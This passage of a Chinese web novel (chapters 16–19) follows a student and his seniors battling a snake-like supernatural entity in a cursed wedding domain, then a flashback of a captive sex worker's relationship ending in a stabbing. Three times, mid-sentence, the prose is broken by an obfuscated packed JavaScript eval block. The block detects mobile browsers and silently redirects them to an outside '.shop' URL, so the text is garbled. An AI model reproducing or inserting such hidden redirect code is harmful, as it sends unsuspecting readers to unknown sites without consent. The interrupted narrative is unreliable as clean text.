但人头蛇,就有点怪异惊悚了。司机脖子以下是树桩那么粗、爬满斑点的巨蟒,他张开嘴巴,一条巨型舌头飞速弹射,灵活地落在方向盘上,湿哒哒的口水挂在嘴角。 车辆开始滑行。 喻连枝收回目光,突然觉得脖子有些痒,他低下头,安全带不知何时爬到脖子上。 下一秒,骤然收紧!气管被巨力勒住,无法呼吸! 喻连枝双手扯住安全带,表面湿滑冰冷,长着一片片坚硬的鳞。 蛇,这特么也是一条蛇! 16. 第十六章 “救、救命!” 绕在脖间的蛇越收越紧,要窒息了! 喻连枝的眼角沁出生理性的泪花,因为无法呼吸,脸色涨红,他喘息急促地往后排寻求帮助,却在转头的刹那和人头蛇司机对上视线。 婚车司机长着一张朴素的脸,阴翳的眼神忽而翕动,寒光闪烁。 像是有人透过这张皮囊在上下打量他。 喻连枝睫毛微颤,“学长,救……” 人头蛇开口道:“你有一点五分像他。” “谁、谁……” “新娘。” 湿冷的视线描摹着他的轮廓,包含着种种陌生的情愫,令喻连枝莫名反感。 啪得一声。 司机的人头转了回去,专注地开车。 沈青打了个响指,指尖迸发出一道白光,一颗闪烁的旋转灯球靠近喻连枝的脖颈。 【青衣摇】伴生物——迪斯科灯球,被吞噬同化的污染物(包括伴生物)将会被他控制,随他而动。 空气冲进气管,总算得救。 喻连枝趁机扯下脖子上的蛇,用力砸在前窗上,爆出血花。 “差点凉了……”他心有余悸地靠了一声。 这条“安全带”不知道是晕了还是死了,倒着一动不动。 沈青双手合十,放在面前。 他的食指上涂着莹润的嫩粉色指甲油,还贴着蝴蝶结和水钻,显得愈发纤长。柔若无骨的十根指头开始摇摆舞动,动作行云流水,灵动丝滑。 “安全带”像是听到了印度神曲,血脉觉醒,竟然抬起了头,摇头晃脑地复制沈青手指动作。 喻连枝先是吓了一跳,反应过来蛇被沈青控制了,现在是蛇舞表演,心情好转,甚至很想掏两个钢镚,无奈自己一贫如洗。 曲毕,沈青收回手,优雅道:“感谢观看。” 蛇软绵绵地趴下,喻连枝在前排鼓了鼓掌。 婚车绕小区缓行一周,回到原点。 一单元一零一室。 司机机械地开口,“祝二位百年好合。” 几人下车,地上铺着柔软的红毯,一路站着撒花的围观群众,叽叽喳喳,脸上挂着诡异的笑。 喻连枝回忆道:“刚才司机和我说了句话,他说我长得有一点五分像新娘,四舍五入就是两分。” 薄空朦握着礼花筒,“只能说明新娘是人。” “两分像?”沈青笑了,“人类都有两分像吧,不论美丑,都是一个鼻子两个眼睛。” 薄空朦捏爆了礼花筒,喷射而出的亮片徐徐落下。 “不,美可以千篇一律,但丑,绝对是千奇百怪。” 喻连枝在心里感叹,好犀利! 走至门口,有人匆匆下楼,拦住去路。 喻连枝一阵心塞,怎么又是这个贪财玩意儿? 女人咯咯笑着,摊开手掌,“新郎官,万水千山总是情,不给红包可不行。” 喻连枝把装着冥币的红包物归原主。 女人依然冷笑着,不为所动。 “你这是冥币,新郎官是想娶死人吗?” 喻连枝:??? 敢情你知道是冥币啊! 他气得语无伦次,“不是,我跟你换的,竟然耍赖,是不是玩不起?” 杜影轻轻扯他袖子,准备抬手,被沈青拦住了。 “还差多少钱?”沈青问。 女人贪婪道:“新郎诚意够不够,就看红包厚不厚。” “扫码。”沈青拿出手机,爽快地转了五千,“保存账单,找符停报销。” 喻连枝死去的心脏重新跳动,眼神一亮,“还能这样!” 薄空朦嗤笑一声,“彼此之间还可以互相转,反正符停不会仔细看的。” 好恶毒! 但让万恶的会长当冤大头,也不是不行。 女人退开一步,喉间似乎还泄漏出两声得逞的奸笑,“娶走新娘不容易,开门就得玩游戏,新郎和伴郎可以开始找新娘咯~” “在哪儿找?” 女人道:“在整个……曼哈屯……小区……” 已知该小区有四栋楼,每栋楼两个单元,每个单元六户,每户两室一厅,求:找到新娘的概率是多少? “找到就可以闯门了,如果里面是真正的新娘,就可以抱得美人归~” 喻连枝问:“如果是假的呢?” “那就……死……咯咯……可不要误了吉时……” 也就是说,有时间限制。 沈青提议道:“我们分头行动,刚好四栋楼。” 杜影赞同地点点头。 喻连枝被留在原地,天崩地裂。 怎么又是单线任务,补药啊…… 他做好心理准备,抬脚上楼,余光就见女人不断扭曲,四肢和躯干粘合在一起,发出丧尸变异的声音,然后一条顶着人头的白蛇缠上排污管道。 难怪画本里的白素贞都是腰部以下变成蛇…… 今天的遇蛇量超标,但独自面对这种一人粗的巨蟒,他还是两股战战,三步并作两步冲上楼。 楼里的感应灯随声音而亮,视线猛然清晰,只见一楼两户的门口,各站着一名笑容喜庆的红袍女人。 面对面,像在照镜子。 两双一模一样的蛇眼移到喻连枝身上,发出一模一样的询问:“请进。” “谢邀,不了。” 他干巴巴地吐出一句,心里打起退堂鼓。 身后的楼梯入口,隐约可见一道蛇影。 喻连枝深呼吸,伸出手指,“点兵点将……不管了左边吧。” 话音刚落,左边的女人的皮肤里钻出无数条银色细蛇,她像是被抽丝剥茧般分解,一件红袍落在地上。 门开了。 他跨步越过,进入一零二室。 整个小区的格局都差不多,入门是客厅,两旁房门紧锁,贴着囍字,就是藏着新娘的卧室。 又有银蛇不知从哪里冒出,凝聚成女人的身形,尽职尽责地守着门口。 喻连枝在客厅转了一圈,电视机旁摆放着一个木质相框,照片里有两个并排坐的男子。 左边的男子剃着寸头,满脸写着“爷不好惹”,右边的男子眉眼弯弯,看起来年龄不大。 两人坐在天台上,喝了几罐啤酒,微风拂面,拍下了一张记录友谊的照片。 喻连枝把相片放回去,试探着喊了声:“屋里有人吗?” 无人回应。 门口守卫的女人道:“新郎官,你要进这个房间吗?” 喻连枝一脸严肃,皱着眉踱步。 他不认为自己第一把就能开到真正的婚房,平时抽卡都得大保底,脸黑成非酋,一发入魂是不存在的。 “不了,我换一个。” 他转身欲走,突然,听到屋里传来一阵矫揉造作的笑声。 勾引他,没门! 喻连枝拔腿就跑,直接上了二楼,依旧是两个女人,这回,他还是选了左边。 屋子里的摆设像是从楼下复制来的,电视机前一个合影相框。 相框里刚好拍到了楼房一角,灰墙,青苔,热水器,也许……就是他现在所处的这栋! 女人:“新郎官,你要进……” “不。”喻连枝言简意赅,上了三楼,右边。 开门之后,所有装潢、物件,贴着的囍字还有相片,都是一样的! 女人:“新郎官……” 这次,喻连枝拿起电视机旁的合影相框就跑,一直到了顶楼,推开沉重的防火门,来到天台。 六层楼的天台,视野称不上开阔,风很大,裹挟着天上的灰云,往前看,是繁华热闹的商业中心。 中心有两张矮矮的板凳,可以想象,曾经的兄弟二人在这里喝酒聊天,其中一人将手机摆在远处,摁下倒计时拍摄,然后摆好表情…… 咔嚓。 留下了这张合影。 后来呢,又发生了什么? 喻连枝不是一个擅长推理的人,最多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622969|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看过一些侦探电影,他猜不到故事,只好寻找更多线索。 转了个弯,侧面凭空出现一个红衣女人,出现得突兀至极,令人防不胜防! 喻连枝踉跄两步,苦笑,“不是吧,阴魂不散啊。” 女人的背后是一道门,连接着狭小的屋子。 原先是老小区存放水箱的地方,值得庆幸的是,这里并没有上演水箱藏尸案,曼哈屯的水箱已经被拆除了,废弃之后,曾被改装为鸽子屋。 现在,有个新娘藏在鸽子屋里? 喻连枝靠近几步,空气中有一股水果的甜香,异常勾人,光是闻到就足以使人分泌口水。 “新郎官,你要进这个房间吗?” “试试?” 喻连枝安慰自己:没逝的没逝的,船到桥头自然沉。 女人说:“要进门,先玩游戏,赢了让路,输了上路。” 还会单押。 他沉默片刻,嗅到求生的机会,猛得抬起头,“可以。但是、但是我有条件。” “什么条件?” “……游戏我来定。” 这题超纲了,女人瞳孔闪烁,三秒后,似乎有人顶号了。 这个古怪的眼神和冷峻的语气,和司机如出一辙。毫无疑问,是污染物本人。 “行,玩什么?” 喻连枝心一横,冒昧就冒昧吧,总比死了强。 “王者荣耀,1v1墨家机关道,敢不敢来?” — 什么都没有。 沈青脚步轻悄地往上走,身后跟了一串红袍女人。 他抬脚,红袍女人也抬脚。 身为三级污染物,解决方式就直截了当多了。 手里漂浮着旋转灯球,一脚踹开门,冲进去,没有新娘,然后带着整齐的队伍出来。 只是,越往上【银蛇】的伴生物越难对付。到了五楼,沈青无法吞噬,灯球和红袍女人打成平手,双双炸开。 沈青的脸色变了。 同为三级,催眠类型的能力就是无法和攻击类型的正面硬刚。 更要命的是,他感受到【银蛇】的等级正在往上缓慢爬升。 超三级。 再这样下去,恐怕连他都要被困在【银蛇】的污染领域内,只能速战速决了。 沈青手中灯球闪烁五颜六色的灯光,室内光线忽明忽暗,他恍若一个神秘占卜女巫,光斑在脸上晃动。 整栋楼开始瓦解,墙皮剥落,里面不是钢筋水泥,而是密集的蛇窝。 另一边,薄空朦感受到震动,抬头望了过去。 沈青所在的楼正在坍塌,小蛇拧成一股绳,成了巨蛇,几条巨蛇在外墙组成了一个图案。 薄空朦看了半晌,原来是一个英文,他读了出来:“quickly?催什么催。” 不过学长发号施令还是要配合的,他站在三楼和四楼的交界处,眸光微动。 他还没达到三级,能对付【银蛇】伴生物,但算不上轻而易举。 【朦胧见】污染领域再度展开,整栋平房被突如其来的雾气淹没。 薄空朦从一楼出来,眉眼间的雾气还未散去,艳红的嘴愈发鬼气森森。 下一秒,他身后的楼房弯折,砖瓦间的银蛇如同丰收时的稻穗,弯着腰,一副睡着的模样。 薄空朦稳住气息,雾气跟随他的脚步进入最后一栋楼。 杜影的黑影正在和蛇群纠缠不清,突然间雾气迷蒙,挣扎的蛇群陷入昏迷,被黑影轻松吞噬。 “多谢。” 杜影身上的纱布有几分凌乱。 薄空朦道:“不客气。走吧,去找小学弟。” 整个曼哈屯都坍塌了,组成一花一草一砖一瓦的银蛇都游离开,朝着一号楼快速爬行。 两人对视一眼,杜影道:“他似乎有麻烦了。” 一号楼被蛇群包裹,一条条细蛇前赴后继地往楼顶爬,乍一看,长方体的楼房被蛇包裹成了金字塔,湿冷的鳞片在阳光下闪闪发光。 17. 第十七章 南海市第六十六貂蝉申请出战。 众所周知,貂蝉这个英雄跳起舞来是很可怕的,她的英雄机制为了单挑而生,出半肉,就算控到了也很难一套打死,接着再打拉扯换血…… 喻连枝搓了搓手掌,活动筋骨。 战术就是稳中求胜,细节盯住对面破绽,然后一举拿下…… 【银蛇】透过女人的瞳孔,目光阴沉得能滴出水,“选好了。” 她选了东皇太一。 喻连枝摸不清她的技术,躲在塔下发育到四级,然后仗着二技能疯狂躲技能,很快拿下一杀。 1-0,不错的前期。 趁着【银蛇】复活的间隙,他暗戳戳抬头,女人的动作丝毫不变,同样看向他,夸赞道:“你很厉害。” “菜就多……咳咳,我的意思是,平时练得多。赢了是不是就能见新娘?” “当然。” 喻连枝有了点底气。 他不赢谁赢? 顺风局,开局小兵开,然后河蟹开,最后……他裂开。 屏幕里,这波东皇太一复活之后,忽然闪现接大,貂蝉被原地吸住。 还好出了肉装,这一套带不走他……忽然,旁边的草丛中爬出数十条条“东皇太一”,身上转着三个黑球就咬了过来。貂蝉转身准备回到塔下,又一条东皇将她控住,这次直接被吸死了。 没关系,重振旗鼓! 貂蝉复活,重新回到塔下,可是走一步就有一条可恶的泥鳅,根本无处可逃! 接下来,喻连枝只要一出水晶,就被疯狂的东皇太一们围攻。 它们无视防御塔的攻击,貂蝉鞋都跳烂了,也无济于事,最后惨烈地输掉了比赛。 “……”他放下手机,心态崩了,“你作弊。” 【银蛇】说:“但你输了。” “不能有点竞技精神吗?” 喻连枝算是明白了,污染领域内一切都由污染物操控,而【银蛇】的目的只有一个,就是让他死。 他气愤地把手机揣回口袋,摸到一手滑溜柔软的东西。 湿冷沿着脊柱瞬间窜到大脑,立刻浇灭怒火。 手腕上,盘桓着一条手指粗的蛇。 再低头,鞋子上,裤腿上,甚至后背不知不觉已被这种无脊椎动物挂满,它们正在缓缓蠕行,对着他吐出猩红的蛇信。 “卧、槽!!!” 喻连枝吓得跳了一段霹雳舞,环顾四周,这栋楼已经被蛇群攻陷。 【银蛇】阴毒道:“你没有找到他,该死。” 随着女人的动作,庞大的蛇群加快速度,压在喻连枝的身上,一点点堆积,一点点蚕食。 脚底像是踩着流沙,他努力往前跑,但毫无作用,只能无力地陷入蛇的漩涡之中。 女人的声音逐渐压低,从刺耳的哨音变为地狱低吟,令人头皮发麻。 “你、找不到、他,没人能找到他、没有人!根本没有人!” 这才是【银蛇】的声音,属于成年男性的低沉音色,语调崩溃破碎。 “到底、在哪里、你在哪里……” 他好像很悲伤。 喻连枝被蛇的牢笼困住,眼前最后一片光明也被蛇的躯体堵上。 因为恐惧,他脸上的血色褪去,表情扭曲。 冷静。 一定要冷静。 活师园中,“墓室”是【活师】创造出来的,通过几个分裂的人格可以挖掘出【活师】生前的事情。 也就是说,污染领域内发生的一切,其实是现实的投射! 可能夸张化、情绪化、戏剧化,但足以确定的是,【银蛇】在现实中被逃婚了,这也正可能是他成为污染物的原因,他的“痛苦”所在。 “我知道他在哪里。” 他的声音被掩埋,混沌不清。 幸运的是【银蛇】听到了。 面部的细蛇游开,喻连枝露出身体,下半身依旧被包裹着,如同陷入一个活动的软茧。 【银蛇】声音沙哑,“他在哪?” “兄弟你看我有几分像新娘?” 【银蛇】的眸光坠入寒潭,“你耍我?” “意识清醒,果然不像活师那样好糊弄。”喻连枝叹气,下一瞬,一颗明亮却微小的光点扔了出去,砸到女人的脸上。 光点接触到皮肤的刹那,仿佛一颗原子弹,爆开剧烈的白光。 嗡—— 片刻死寂。 眼前白光消散,女人分崩离析,这些蛇也因为爆炸产生的高频鸣音僵硬挛缩。 “中了!” 喻连枝不敢犹豫,从蛇堆里钻出来。又是指尖产生的光球,这玩意儿应该是自己的“伴生物”?总之维持不了多久,得快点去找学长他们。 跑出三米,他停下了脚步。 鸽子房有一面窗户。 本来有窗户吗?没有吧?记不清了。 喻连枝怔怔地看着,窗户上印着一道人影,瘦削,孱弱,披头散发。 “谁……新娘?” 那人没说话,推开了窗户。从喻连枝的角度看,只能看见一条白得像纸的胳膊,虚虚地垂挂着,沿着孱弱的青筋长满了渗人的红斑和牙印。 以及……指尖掐着的一颗腐烂的莓果。 香甜气味扑面而来,使人一脚踏空,踩进芳香馥郁、汁水四溢的莓果园子。 叩叩。 那人轻敲窗户,无言邀请。 喻连枝吞了吞口水,慢慢靠近鸽子屋。 走近之后,门吱呀一声开了。 他往身后看,蛇群消失不见,天边的云朵被阳光渲染成玫粉色,旖旎又浪漫的颜色映入瞳孔,微微发热。 喻连枝收回目光,被蛊惑似的推门而入。 屋子里一片通红,墙上和地上长满了细小的深红突触。 往前走,脚底传来湿润的触感,鞋底往下陷了一厘米,挤压出血一样的红浆。 这是什么? 喻连枝嗅了嗅,恍然大悟,果汁。 他竟然在一颗莓果的内部! 不过都是幻想空间了,没什么是不能发生的。 有个白花花的人影藏在果粒之间,蜷缩着看过来。 “你好?” “对不起……对不起……对不起……对不起……” 身形看不出性别,听声音原来是个男人。 “你在和谁道歉?兄弟,你别怕,我是好人……” 喻连枝轻手轻脚地走过去,却什么也没看见,那人凭空消失了。 他蹲下来,地上仅有一副金属镣铐。 谁被囚禁在这里? 莓果开始震颤,他连忙起身,抬头,几滴酸甜的汁液掉在脸上,沿着眼泪的轨迹坠在下巴。 喻连枝瞳孔放大,整个莓果屋在收缩,突触灵活扭动,如同一条条鲜红的虫子。 这是个陷阱! “救命啊!啊啊啊啊啊!学长!救命啊!!” 他大声求救,拍打墙壁,汁水呈喷射状溅在脸上,有种案发现场的惊悚感。 两边的果肉挤住肩膀,两只手从墙壁里探出来,为喻连枝扣上枷锁。 那人说:“替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622970|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我永远困在这里吧。” “不!别冲动!我知道你被非法限制人身自由!我一定会帮你的!” 回应他的是一阵癫狂至极的嘲笑。 “哈哈哈哈哈哈哈……我活该,我活该,活该的,我就是个烂人……” 喻连枝义正言辞地恐吓,“小心我报警把你抓起来!” “哈哈哈哈哈哈哈哈哈哈哈……”那人没理会他,只是妖怪般的大笑,笑声戛然而止,转而阴毒狠厉,“卫兰银……我一定再杀你一次。” 喻连枝断定,他癫了。 不过,微辣银是谁啊? “不是哥,你抓错人了,我真不是……” 还没说完,屋子外传来几个脚步声。 “小学弟,你在这里吗?” 喻连枝眼睛一亮,沈青! — 沈青往鸽子屋走了两步,被喊了回去。 蛇群再次向他们逼近,源源不断。 他十指交叉,接着迅速向外撒开,十颗小灯球伴生物吞噬靠得最近的蛇,薄空朦和杜影一边躲避,一边放出自己的伴生物。 蛇群中有一条巨蟒,覆盖银色鳞片盔甲,与其伴生物不同的是,他拥有人的身子。 一个精壮的青年,古铜色肌肤,黑色衬衫外的皮肤上纹着复杂的刺青。 “你就是【银蛇】?”沈青眯着眼睛问。 “不是。”【银蛇】双手插兜,很有几分古惑仔的气势,“我叫卫兰银。” “哦,你的记录名称是【银蛇】,看你人性尚存,投降吧,大家都是污染物,没必要打个你死我活。” “不行。” 沈青有种不详的预感。 果然,【银蛇】的污染领域又开始波动,隐隐有扩张趋势。 “糟了……”沈青喃喃自语,准备放手一搏时,卫兰银突然面色骤变,重新分化为小蛇。 一波小蛇调转方向,往楼下游去,不战而退。 薄空朦皱眉,“跑了?” “好像是的。”沈青推开门,灰尘簌簌落下,他捂住嘴扫视了一圈。 一个废弃的阁楼,地上全是老鼠的脚印,窗台上有鸟衔来树枝做窝,意外捡了一枝蛇莓。 “没人,喻连枝没了。”薄空朦虚弱地扶了一把门。 “这栋楼找了个遍,难道说他被【银蛇】吞噬了?” 杜影平静道:“有可能。” 沈青又往屋子里看了一圈,撇了撇嘴,“那麻烦了,吞噬其他污染物,虽然说罪名没有杀人那么重吧,但也足以说明【银蛇】失去人性。” 薄空朦筋疲力尽,脑子却突突的跳。 耗费了太多体力,就容易失控,他和杜影现在需要休息。 “既然失去人性,就直接吞了吧,一命换一命。”薄空朦看向沈青,提议道。 沈青抿着嘴。 面对两位学弟疑惑的神色,他长叹一口气,“你以为吞噬资格证这么好考么?” 薄空朦:…… “如果我是那种强势的污染物,早就考出来了。”沈青把耳畔的碎发撩至耳后,“无证吞噬,会被判禁闭室三个月。” 薄空朦:“所以……” “所以我科三挂了。”沈青忽然严肃道,“更重要的是,我感受到【银蛇】又开始升级了。” 超三级,也就是俗称的3.5级。 他打不过,吞不了,且束手无策。 “那怎么办?不追了?”杜影询问。 沈青摸出手机,表情凝重,眼下只有一个办法。 “关门,放符停。” 18. 第十八章 【青衣摇】污染领域百分百展开。 【朦胧见】污染领域百分百展开。 【窃影】污染领域百分百展开。 天空之中放下沉重的黑色帷幕,整个【银蛇】污染领域停止移动,陷入迷幻之中。 蛇群忽而匍匐在地,忽而被灯球操控扭动,忽而被白雾笼罩黑影扼制,几股力量的拉扯下,伴生物崩坏成原始污染因子形态。 沈青发送紧急求救,不出意外的话,符停将在半个小时内赶到。 至于这半个小时,就得靠他们拖住了。 【银蛇】似乎被惹恼了,声音从天而降,“一群蝼蚁,不可饶恕。” 沈青被自己的伴生物反噬,意识飘忽,他很快明白过来,自己反被银蛇操控了! “快来帮我,脑后!” 一道阴影从脚边游上,变出一只漆黑的手,猛的拽住沈青的后脑勺,扯出一条正在发光的蛇。 被【银蛇】吞噬同化的【青衣摇】伴生物。 这条蛇的表皮鳞片俨然和灯球的表面一模一样,层层叠叠的反光镜面上,映照出他惨白的脸。 脑浆像是被抽走了,好痛! 沈青揉了揉后脑勺,对着影子化的杜影说了句,“多谢。” 杜影没吭声,他的阴影范围越来越小,必须飞快躲避影子小蛇。 薄空朦藏身于雾气之中,“拖不住了,符停什么时候到?” 他们三人确实牢牢抱住了【银蛇】的腿,但也惹怒了对方,愤怒的超三级污染物要将他们三个都吞噬殆尽。 沈青咬着牙,“【银蛇】要是跑了,一定会引起大范围污染,到时候被罚的还是我们。被吞噬还是禁闭室惩罚,选一个吧。” 卧轨还是被凌迟,真难选择。 薄空朦幽幽叹气,“我死都不会去紧闭室的。” “那就撑住。” 巨大的蛇头俯视着他们,饱含怒气地咆哮。 “滚开!否则死!” — “什么死不死的,晦气。” 喻连枝被打了一巴掌,茫然地爬起来,面前的男人拽住他的头发,恶狠狠道:“以后在爷的床上,只能说爽飞了,不能说死了,知道吗?” “……?” 不理解,但喻连枝大受震撼,“知道了。” 满脸凶煞的男人说:“行了,我对你没兴趣了,换一个来。” 一个浓妆艳抹的男人走进来,表面陪笑,“老板,他新来的,不懂事。”实际上,那双堪称九阴白骨爪的手掐住喻连枝的腰,用力一拧。 “……” 啊啊啊啊啊啊啊啊! 叫不出来? 卧槽。 喻连枝低头,他穿着裙子,一件白色超短连衣裙。 想起来了,当果浆落到唇边时,他抓住了那人的胳膊。 视野又开始变白,像是下雪,一颗银光浮游生物从他的瞳孔析出,悬浮在空中。 他一鼓作气扯出了那人。 是个瘦弱的男子,不着寸缕,头发半长,湿漉地搭在肩膀上,身上沾满黏腻香甜的果汁。 男子望过来的眼神让人不禁心生怜悯,下一秒,皮肤下有什么东西在涌动,混合着血冒出一粒粒尖头。 喻连枝汗毛直竖,撒开手。 男子的表皮竟然完全变成了凹凸不平的莓果! 接着…… 接着就彻底看不见了。 喻连枝回过神,他好像又死了。 常言道:命只有一条。 好消息:他不止一条。 坏消息:条条大命通牛马。 上次被【活师】杀死后,他也是以第一人称视角体验了【活师】的痛苦,这一次应该就是莓果男的痛苦了。 浓妆男人将他带到化妆间,语气刻薄,“贱货,好好捯饬自己,等着接客。” 接客? 接什么客? 我成鸭子了??? 喻连枝看向化妆镜,是莓果男的脸,这时候还没有瘦到脱相,化着纯欲妆,倒也算清秀可人。 这人不是【银蛇】,且被【银蛇】囚禁,难道有什么过节? 他摘下脖子上的珍珠项链,又擦去脂粉,滴了几滴眼药水。 “张色,又钓凯子啊?” 一个穿着露背装的男人靠在化妆镜上抽烟。 原来他叫张色。喻连枝控制不住地翻了个白眼,“把烟掐了,我要打视频,滚出去。” 露背装男人不屑地笑了,“真以为会有男的包养你一辈子?别做梦了,那些老头一个比一个精明。” “不用你管。” “作为前辈劝你一句,找老的不如找小的,投资一把。” 兴许是过于炸裂,喻连枝自我感觉非常清醒,甚至有种旁观者的作壁上观。 张色没理会,在镜头前摆了个楚楚可怜的姿势,拨通电话。 金主爸爸一号,没接。 金主爸爸二号,秒挂。 金主爸爸三号,接起来是个女人,金主的正妻,劈头盖脸把他骂了一顿,扬言要找人弄他。 喻连枝哪听过这些,尴尬地想钻进地缝。 可无奈被困在这具身体里,动弹不了。他只是一个清澈的大学生,接触这些是不是有点太超前了? 张色倒不尴尬,反而气得胸膛起伏,摔了手机。 露背男人在一旁说风凉话,“你看吧,男人都是这个样子的,床上说的话没一句是真的。你自己也是男人,还不清楚?” 张色道:“滚!” “吵吵什么呢?”先前的浓妆男人进来,看样子是负责人老鸨,“你去天上人间包厢,别抽了,把嘴漱干净,免得亲嘴一股味,遭投诉!” 露背男扭着腰走了。 老鸨又过来抓张色的头发,“你去天地会包厢,有个黑大哥点名要你,道上的,伺候好钞票少不了。” 喻连枝:疼疼疼! 张色:“知道了,我补个妆。” 老鸨拎着他的头发,凑近了,“就这样去,老板喜欢清纯的。” “好。” 张色在眼下打了两斤腮红,来到天地会包厢。 里面觥筹交错,烟雾缭绕,碰杯声和笑声不绝于耳。 他眼睛转动,最中间的那人是个光头,脸上一道刀疤,凶神恶煞。 大哥抽着雪茄,朝他招手。 酒过三巡,张色坐在一旁,眼泛涟漪,含羞带怯。 大哥说:“小美女年纪不大啊,怎么到会所来了,老子多给你开几瓶酒怎么样?” 他的声音中带着啜泣,“其实、其实我是新来的……实在是没办法了,爸爸赌博输了很多钱,妈妈也生病了,弟弟……” 好有一套自己的卖惨话术,大致就是:“爱赌的爸,病重的妈,上学的弟弟,破碎的他”。 本以为说完之后,大哥会给点钱,没想到是给了一巴掌。 特么的,两巴掌了! 喻连枝:疼疼疼! 张色:“嘤。” 大哥伸出手,满脸惊恐,“你他妈是个男的?!!” 老鸨焦急地赶了过来,才发现闹了个误会,赶紧解释道:“老板,他的风格就是女装,我给您找别的。” 大哥猛抽一口烟,“赶紧滚。” “知道了。”张色捂着脸点头,一滴眼泪从睫毛间往下坠,落在锁骨上。 “等等,哥。”有个年轻的小弟站了出来,“我……我想要他。” 这人一直闷头喝酒不说话,喻连枝没有印象,从旁人口中才知道,这人叫卫兰银。 卫兰银?! 银蛇? “哥,谢谢你。”张色小声说。 喻连枝蹲在他的身体里吐槽,这小子准被憋好事,准备坑人呢。 卫兰银的脸唰得红了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622971|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低下头不敢对视,“没事。我第一次来这,看你、你不容易,身世很惨……我爸也赌博。” 张色的心声突然在脑子里响起,吓了喻连枝一大跳。 [他居然信了?蠢货。] 旁边的兄弟过来碰杯,你一言我一语,发现卫兰银还真没骗人,他打架中立了功,刚被提拔,得了一大笔奖金,才有资格跟着大哥来玩。 张色眼珠一转,计上心头。 他哎呀一声,酒液撒在身上,白色连衣裙半透,勾勒出柔软的身姿,卫兰银不知所措地推开他。 [处男?愣头青类型的客人,do起来毛手毛脚,但还有点小钱,忍一下算了……] 喻连枝疯狂呐喊:斯到普!斯到普!我不想听这种虎狼之词!!! 卫兰银:“你去换衣服吧。” 张色欲拒还迎:“哥陪我去,好吗?” 接下来就是干柴烈火,两人进房间对视,眼见着要互相啃嘴巴了…… 喻连枝急得想死,哐哐撞大墙:放我出去啊啊啊啊啊!!! 咻—— 一道白光从张色的后脑勺闪出,以迅雷不及掩耳之势藏到窗外,这群白色浮游生物组成一个迷你小人。 这是他能离开张色身体的最远距离。 喻连枝抱紧膝盖,闭上双眼。 屋里传来暧昧的声音。 为什么,要让他一个纯情男大.直男.未成年经历这些?! 不敢睁开眼,希望是我的幻觉~~~ 浮游生物的生命是有期限的,第二天,光芒消散之前,他再次回到张色的体内,目睹了卫兰银的求婚现场。 卫兰银甚至很有诚意,特意拿出银行卡,“跟我走吧,我娶你。” 张色愣住了。 卫兰银:“我会对你好,赚钱给你花,你不用再做讨好人的工作。” 面对突如其来的求婚,张色哑口无言,刚想拒绝,看到银行卡时,嘴里自动变成了,“好。” 喻连枝:哥们你俩的事跟我可没关系嗷。 张色是个人渣,他只爱钱,骗完钱后,他准备跑路。 没想到跑不掉了。 不管怎么提分手,卫兰银都腆着脸黏着他,如同一条摇尾巴的哈巴狗。 张色被缠得烦躁,他开始频繁出轨,捡起老本行,钓有钱小老头。 卫兰银跟疯了似的痛哭流涕,不管张色跑到哪里,他都千方百计地找上门。 他逃,他追,他插翅难飞。 最后一次,卫兰银把张色床上的富二代扔出门外,亲手给张色戴上镣铐。 “把你关起来,就不会跑了,对不对?” 张色害怕了,苦苦哀求:“不、不……我再也不找别人了,放我出去……” 卫兰银掐住他的下巴,脸上已然看不出初见时的青涩。 “我们要结婚了。” “我根本不想和你结婚!” “不,你想。”卫兰银的笑阴森恐怖,“你想的。” 喻连枝在暗处吃瓜,感叹:好一段狗血爱情故事。 被囚禁是什么感觉呢? 脖子上挂着沉重的锁链,最开始会觉得不适应,但因为体温的传递,冰冷的锁链也有了温度,他甚至会忘了自己被囚禁。 直到婚礼前一天,张色都很听话,笑容甜腻,一遍遍地对卫兰银说:“我爱你。” 卫兰银嘴唇颤抖,“真的?” “嗯。” 一把锋利的水果刀插进卫兰银的心脏。 张色卸下所有伪装,笑声尖锐刺耳。 这是杀人案啊,要不要报警?可是报完警怎么说呢?如果实话实说是自己在“回忆杀”里看到的,会不会被警察叔叔当精神病抓起来…… 喻连枝愁眉苦脸地挠了挠头,忽然僵住。 汹涌澎湃的情绪涌向他。 又来了。 情感共频。 19. 第十九章 如果说【活师】的痛苦是腐败苦涩的,那么张色的痛苦是酸辣的,带着会爆炸的气泡。 疯狂的情绪输送到他的大脑,排山倒海的恨意和爽感刺激神经末梢。 回到张色身体里,动作愈发有了实感。 他将水果刀拔出,又插进去,接连捅了数十下。 鲜血从卫兰银的心脏喷射出来,肆意、畅快淋漓,简直是世界上最美的画。 他恨他! 我也恨他! 我恨他! 